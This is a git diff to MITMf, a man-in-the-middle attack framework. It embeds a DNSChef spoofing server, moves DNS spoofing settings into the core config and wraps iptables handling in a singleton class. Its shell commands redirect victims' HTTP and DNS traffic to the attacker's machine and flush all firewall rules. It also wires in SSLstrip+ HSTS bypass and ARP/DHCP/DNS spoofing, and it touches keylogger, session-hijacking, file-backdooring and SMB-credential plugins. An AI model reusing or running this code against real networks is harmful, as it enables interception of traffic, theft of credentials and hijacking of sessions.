diff --git a/config/mitmf.conf b/config/mitmf.conf index b14446b..685e8d9 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -8,7 +8,6 @@ #here you can set the arguments to pass to MITMf when it starts so all you need to do is run `python mitmf.py` #(assuming you config file is in the default directory) # - args='' #Required BeEF and Metasploit options @@ -23,28 +22,22 @@ rpcip = 127.0.0.1 rpcpass = abc123 -# -#Plugin configuration starts here -# - -[Spoof] - - [[DHCP]] - ip_pool = 192.168.2.10-50 - subnet = 255.255.255.0 - dns_server = 192.168.2.20 #optional - - [[DNS]] # - #Here you can configure DNSChef's options + #Here you can configure MITMf's internal DNS server # - port = 53 #Port to listen on - nameservers = 8.8.8.8 #Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888 - tcp = Off #Use the TCP DNS proxy instead of the default UDP - ipv6 = Off #Run in IPv6 mode + resolver = dnschef #Can be set to 'twisted' or 'dnschef' ('dnschef' is highly reccomended) + tcp = Off #Use the TCP DNS proxy instead of the default UDP (not fully tested, might break stuff!) + port = 53 #Port to listen on + ipv6 = Off #Run in IPv6 mode (not fully tested, might break stuff!) + + # + #Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888 + #can also be a comma seperated list e.g 8.8.8.8,8.8.4.4 + # + nameservers = 8.8.8.8 [[[A]]] # Queries for IPv4 address records *.thesprawl.org=192.0.2.1 @@ -82,6 +75,17 @@ [[[RRSIG]]] #FORMAT: covered algorithm labels labels orig_ttl sig_exp sig_inc key_tag name base64(sig) *.thesprawl.org=A 5 3 86400 20030322173103 20030220173103 2642 thesprawl.org. oJB1W6WNGv+ldvQ3WDG0MQkg5IEhjRip8WTrPYGv07h108dUKGMeDPKijVCHX3DDKdfb+v6oB9wfuh3DTJXUAfI/M0zmO/zz8bW0Rznl8O3tGNazPwQKkRN20XPXV6nwwfoXmJQbsLNrLfkGJ5D6fwFm8nN+6pBzeDQfsS3Ap3o= +# +#Plugin configuration starts here +# + +[Spoof] + + [[DHCP]] + ip_pool = 192.168.2.10-50 + subnet = 255.255.255.0 + dns_server = 192.168.2.20 #optional + [Responder] #Set these values to On or Off, so you can control which rogue authentication server is turned on. diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py index 7df4255..ded5949 100644 --- a/core/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -16,7 +16,7 @@ # USA # -import urlparse, logging, os, sys, random, re +import urlparse, logging, os, sys, random, re, dns.resolver from twisted.web.http import Request from twisted.web.http import HTTPChannel @@ -43,8 +43,8 @@ class ClientRequest(Request): the magic begins. Here we remove the client headers we dont like, and then respond with either favicon spoofing, session denial, or proxy through HTTP or SSL to the server. - ''' - + ''' + def __init__(self, channel, queued, reactor=reactor): Request.__init__(self, channel, queued) self.reactor = reactor @@ -54,6 +54,12 @@ class ClientRequest(Request): self.dnsCache = DnsCache.getInstance() self.plugins = ProxyPlugins.getInstance() #self.uniqueId = random.randint(0, 10000) + + #Use are own DNS server instead of reactor.resolve() + self.resolver = URLMonitor.getInstance().getResolver() + self.customResolver = dns.resolver.Resolver() + self.customResolver.nameservers = ['127.0.0.1'] + self.customResolver.port = URLMonitor.getInstance().getResolverPort() def cleanHeaders(self): headers = self.getAllHeaders().copy() @@ -173,7 +179,7 @@ class ClientRequest(Request): self.proxyViaHTTP(address, self.method, path, postData, headers, port) def handleHostResolvedError(self, error): - logging.warning("[ClientRequest] Host resolution error: " + str(error)) + logging.debug("[ClientRequest] Host resolution error: " + str(error)) try: self.finish() except: @@ -186,8 +192,18 @@ class ClientRequest(Request): mitmf_logger.debug("[ClientRequest] Host cached: %s %s" % (host, str(address))) return defer.succeed(address) else: + mitmf_logger.debug("[ClientRequest] Host not cached.") - return reactor.resolve(host) + + if self.resolver == 'dnschef': + try: + address = str(self.customResolver.query(host)[0].address) + return defer.succeed(address) + except Exception: + return defer.fail() + + elif self.resolver == 'twisted': + return reactor.resolve(host) def process(self): mitmf_logger.debug("[ClientRequest] Resolving host: %s" % (self.getHeader('host'))) diff --git a/core/sslstrip/URLMonitor.py b/core/sslstrip/URLMonitor.py index 2f3c58d..56e7de3 100644 --- a/core/sslstrip/URLMonitor.py +++ b/core/sslstrip/URLMonitor.py @@ -47,6 +47,8 @@ class URLMonitor: self.hsts = False self.app = False self.hsts_config = None + self.resolver = 'dnschef' + self.resolverport = 53 @staticmethod def getInstance(): @@ -54,6 +56,22 @@ class URLMonitor: URLMonitor._instance = URLMonitor() return URLMonitor._instance + + #This is here because I'm lazy + def setResolver(self, resolver): + self.resolver = str(resolver).lower() + + #This is here because I'm lazy + def getResolver(self): + return self.resolver + + #This is here because I'm lazy + def setResolverPort(self, port): + self.resolverport = int(port) + + #This is here because I'm lazy + def getResolverPort(self): + return self.resolverport def isSecureLink(self, client, url): for expression in URLMonitor.javascriptTrickery: @@ -133,13 +151,12 @@ class URLMonitor: self.faviconSpoofing = faviconSpoofing def setHstsBypass(self, hstsconfig): - if hstsconfig: - self.hsts = True - self.hsts_config = hstsconfig + self.hsts = True + self.hsts_config = hstsconfig - for k,v in self.hsts_config.iteritems(): - self.sustitucion[k] = v - self.real[v] = k + for k,v in self.hsts_config.iteritems(): + self.sustitucion[k] = v + self.real[v] = k def setAppCachePoisoning(self): self.app = True diff --git a/core/utils.py b/core/utils.py index 1a3d608..435bafa 100644 --- a/core/utils.py +++ b/core/utils.py @@ -30,19 +30,33 @@ class SystemConfig: file.write(str(value)) file.close() - class iptables: +class IpTables: - @staticmethod - def Flush(): - os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') + _instance = None - @staticmethod - def HTTP(http_redir_port): - os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % http_redir_port) + def __init__(self): + self.dns = False + self.http = False - @staticmethod - def DNS(ip, port): - os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to %s:%s' % (ip, port)) + @staticmethod + def getInstance(): + if IpTables._instance == None: + IpTables._instance = IpTables() + + return IpTables._instance + + def Flush(self): + os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') + self.dns = False + self.http = False + + def HTTP(self, http_redir_port): + os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % http_redir_port) + self.http = True + + def DNS(self, ip, port): + os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to %s:%s' % (ip, port)) + self.dns = True class Banners: diff --git a/libs/dnschef b/libs/dnschef index fbc5ec3..9707672 160000 --- a/libs/dnschef +++ b/libs/dnschef @@ -1 +1 @@ -Subproject commit fbc5ec324b6045db2f6cc62662ab51d3ff979ec8 +Subproject commit 9707672de62bd42f651fabc6f9d368d7a67b4d99 diff --git a/mitmf.py b/mitmf.py index 5fbc63d..d1698b6 100755 --- a/mitmf.py +++ b/mitmf.py @@ -36,14 +36,6 @@ from scapy.all import get_if_addr, get_if_hwaddr from plugins import * plugin_classes = plugin.Plugin.__subclasses__() -try: - import netfilterqueue - if netfilterqueue.VERSION[1] is not 6: - print "[-] Wrong version of NetfilterQueue library installed!" - print "[-] Download it from here https://github.com/fqrouter/python-netfilterqueue and manually install it!" -except ImportError: - print "[-] NetfilterQueue library missing! DNS tampering will not work" - try: import user_agents except ImportError: @@ -52,9 +44,13 @@ except ImportError: mitmf_version = "0.9.6" sslstrip_version = "0.9" sergio_version = "0.2.1" +dnschef_version = "0.4" Banners().printBanner() +if os.geteuid() != 0: + sys.exit("[-] When man-in-the-middle you want, run as r00t you will, hmm?") + parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM attacks" % mitmf_version, version=mitmf_version, usage='', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@') #add MITMf options mgroup = parser.add_argument_group("MITMf", "Options for MITMf") @@ -114,15 +110,6 @@ if config_args: sys.argv.append(arg) args = parser.parse_args() -#Check to see if called plugins require elevated privs -try: - for p in plugins: - if (vars(args)[p.optname] is True) and (p.req_root is True): - if os.geteuid() != 0: - sys.exit("[-] %s plugin requires root privileges" % p.name) -except AttributeError: - sys.exit("[-] %s plugin is missing the req_root attribute" % p.name) - #################################################################################################### # Here we check for some variables that are very commonly used, and pass them down to the plugins @@ -189,8 +176,18 @@ else: from core.sslstrip.StrippingProxy import StrippingProxy from core.sslstrip.URLMonitor import URLMonitor + from libs.dnschef.dnschef import DNSChef URLMonitor.getInstance().setFaviconSpoofing(args.favicon) + URLMonitor.getInstance().setResolver(args.configfile['MITMf']['DNS']['resolver']) + URLMonitor.getInstance().setResolverPort(args.configfile['MITMf']['DNS']['port']) + + DNSChef.getInstance().setCoreVars(args.configfile['MITMf']['DNS']) + if args.configfile['MITMf']['DNS']['tcp'].lower() == 'on': + DNSChef.getInstance().startTCP() + else: + DNSChef.getInstance().startUDP() + CookieCleaner.getInstance().setEnabled(args.killsessions) ProxyPlugins.getInstance().setPlugins(load) @@ -207,7 +204,8 @@ else: print "|" print "|_ Sergio-Proxy v%s online" % sergio_version - print "|_ SSLstrip v%s by Moxie Marlinspike running...\n" % sslstrip_version + print "|_ SSLstrip v%s by Moxie Marlinspike online" % sslstrip_version + print "|_ DNSChef v%s online\n" % dnschef_version reactor.run() diff --git a/plugins/AppCachePoison.py b/plugins/AppCachePoison.py index 667cb7a..13985a1 100644 --- a/plugins/AppCachePoison.py +++ b/plugins/AppCachePoison.py @@ -39,7 +39,6 @@ class AppCachePlugin(Plugin): implements = ["handleResponse"] version = "0.3" has_opts = False - req_root = False def initialize(self, options): self.options = options diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index 7422eae..59fceeb 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -40,7 +40,6 @@ class BeefAutorun(Inject, Plugin): tree_output = [] depends = ["Inject"] version = "0.3" - req_root = False has_opts = False def initialize(self, options): diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py index 315047b..8f3afa1 100644 --- a/plugins/BrowserProfiler.py +++ b/plugins/BrowserProfiler.py @@ -33,7 +33,6 @@ class BrowserProfiler(Inject, Plugin): depends = ["Inject"] version = "0.2" has_opts = False - req_root = False def initialize(self, options): Inject.initialize(self, options) diff --git a/plugins/CacheKill.py b/plugins/CacheKill.py index 8776df8..b912244 100644 --- a/plugins/CacheKill.py +++ b/plugins/CacheKill.py @@ -29,7 +29,6 @@ class CacheKill(Plugin): bad_headers = ['if-none-match', 'if-modified-since'] version = "0.1" has_opts = True - req_root = False def add_options(self, options): options.add_argument("--preserve-cookies", action="store_true", help="Preserve cookies (will allow caching in some situations).") diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index e73bfe8..e437d84 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -81,7 +81,6 @@ class FilePwn(Plugin): tree_output = ["BDFProxy v0.2 online"] version = "0.2" has_opts = False - req_root = False def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' diff --git a/plugins/Inject.py b/plugins/Inject.py index 1a2f51e..6f9df18 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -35,7 +35,6 @@ class Inject(CacheKill, Plugin): optname = "inject" implements = ["handleResponse", "handleHeader", "connectionMade"] has_opts = True - req_root = False desc = "Inject arbitrary content into HTML content" version = "0.2" depends = ["CacheKill"] diff --git a/plugins/JsKeylogger.py b/plugins/JsKeylogger.py index 595c160..25139f1 100644 --- a/plugins/JsKeylogger.py +++ b/plugins/JsKeylogger.py @@ -30,7 +30,6 @@ class jskeylogger(Inject, Plugin): depends = ["Inject"] version = "0.2" has_opts = False - req_root = False def initialize(self, options): Inject.initialize(self, options) diff --git a/plugins/Replace.py b/plugins/Replace.py index 326e617..f623736 100644 --- a/plugins/Replace.py +++ b/plugins/Replace.py @@ -39,7 +39,6 @@ class Replace(CacheKill, Plugin): depends = ["CacheKill"] version = "0.1" has_opts = True - req_root = False def initialize(self, options): self.options = options diff --git a/plugins/Responder.py b/plugins/Responder.py index 6fb98e0..bada0ef 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -34,7 +34,6 @@ class Responder(Plugin): tree_output = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] version = "0.2" has_opts = True - req_root = True def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' diff --git a/plugins/SMBAuth.py b/plugins/SMBAuth.py index 7b3be66..a1df8fe 100644 --- a/plugins/SMBAuth.py +++ b/plugins/SMBAuth.py @@ -30,7 +30,6 @@ class SMBAuth(Inject, Plugin): depends = ["Inject"] version = "0.1" has_opts = True - req_root = False def initialize(self, options): Inject.initialize(self, options) diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py index 09819ba..5544b78 100644 --- a/plugins/SSLstrip+.py +++ b/plugins/SSLstrip+.py @@ -19,22 +19,20 @@ # import sys -import dns.resolver import logging from plugins.plugin import Plugin -from core.utils import SystemConfig +from core.utils import IpTables from core.sslstrip.URLMonitor import URLMonitor -from libs.dnschef.dnschef import start_dnschef +from libs.dnschef.dnschef import DNSChef class HSTSbypass(Plugin): name = 'SSLstrip+' optname = 'hsts' desc = 'Enables SSLstrip+ for partial HSTS bypass' version = "0.4" - tree_output = ["SSLstrip+ by Leonardo Nve running", "DNSChef v0.3 online"] + tree_output = ["SSLstrip+ by Leonardo Nve running"] has_opts = False - req_root = True def initialize(self, options): self.options = options @@ -42,10 +40,17 @@ class HSTSbypass(Plugin): try: hstsconfig = options.configfile['SSLstrip+'] - dnsconfig = options.configfile['Spoof']['DNS'] except Exception, e: sys.exit("[-] Error parsing config for SSLstrip+: " + str(e)) - URLMonitor.getInstance().setHstsBypass(hstsconfig) + if not options.manualiptables: + if IpTables.getInstance().dns is False: + IpTables.getInstance().DNS(options.ip_address, options.configfile['MITMf']['DNS']['port']) - start_dnschef(options, dnsconfig, hstsconfig) + URLMonitor.getInstance().setHstsBypass(hstsconfig) + DNSChef.getInstance().setHstsBypass(hstsconfig) + + def finish(self): + if not self.manualiptables: + if IpTables.getInstance().dns is True: + IpTables.getInstance().Flush() \ No newline at end of file diff --git a/plugins/SessionHijacker.py b/plugins/SessionHijacker.py index 28a292e..ff9a3ec 100644 --- a/plugins/SessionHijacker.py +++ b/plugins/SessionHijacker.py @@ -41,7 +41,6 @@ class SessionHijacker(Plugin): implements = ["cleanHeaders"] #["handleHeader"] version = "0.1" has_opts = True - req_root = False def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' diff --git a/plugins/Sniffer.py b/plugins/Sniffer.py index c2d14f8..d481be1 100644 --- a/plugins/Sniffer.py +++ b/plugins/Sniffer.py @@ -45,7 +45,6 @@ class Sniffer(Plugin): implements = ["sendRequest"] version = "0.1" has_opts = False - req_root = True def initialize(self, options): self.options = options diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 330a8ea..4b6d72e 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -21,11 +21,11 @@ import logging import sys -from core.utils import SystemConfig +from core.utils import SystemConfig, IpTables from core.sslstrip.DnsCache import DnsCache from core.wrappers.protocols import _ARP, _DHCP, _ICMP from plugins.plugin import Plugin -from libs.dnschef.dnschef import start_dnschef +from libs.dnschef.dnschef import DNSChef logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy from scapy.all import * @@ -35,14 +35,12 @@ class Spoof(Plugin): optname = "spoof" desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS" version = "0.6" - tree_output = [] has_opts = True - req_root = True def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options - self.dnscfg = options.configfile['Spoof']['DNS'] + self.dnscfg = options.configfile['MITMf']['DNS'] self.dhcpcfg = options.configfile['Spoof']['DHCP'] self.target = options.target self.manualiptables = options.manualiptables @@ -91,10 +89,10 @@ class Spoof(Plugin): if options.dns: if not options.manualiptables: - SystemConfig.iptables.DNS(options.ip_address, self.dnscfg['port']) + if IpTables.getInstance().dns is False: + IpTables.getInstance().DNS(options.ip_address, self.dnscfg['port']) - self.tree_output.append("DNSChef v0.3 online") - start_dnschef(options, self.dnscfg) + DNSChef.getInstance().loadRecords(self.dnscfg) if not options.arp and not options.icmp and not options.dhcp and not options.dns: sys.exit("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns") @@ -102,7 +100,8 @@ class Spoof(Plugin): SystemConfig.setIpForwarding(1) if not options.manualiptables: - SystemConfig.iptables.HTTP(options.listen) + if IpTables.getInstance().http is False: + IpTables.getInstance().HTTP(options.listen) for protocol in self.protocolInstances: protocol.start() @@ -124,6 +123,6 @@ class Spoof(Plugin): protocol.stop() if not self.manualiptables: - SystemConfig.iptables.Flush() + IpTables.getInstance().Flush() SystemConfig.setIpForwarding(0) diff --git a/plugins/Upsidedownternet.py b/plugins/Upsidedownternet.py index 9749145..959f96c 100644 --- a/plugins/Upsidedownternet.py +++ b/plugins/Upsidedownternet.py @@ -32,7 +32,6 @@ class Upsidedownternet(Plugin): implements = ["handleResponse", "handleHeader"] version = "0.1" has_opts = False - req_root = False def initialize(self, options): from PIL import Image, ImageFile diff --git a/plugins/plugin.py b/plugins/plugin.py index 0e4a23d..eb69dfa 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -10,7 +10,6 @@ class Plugin(object): desc = "" implements = [] has_opts = False - req_root = False def __init__(self): '''Called on plugin instantiation. Probably don't need this'''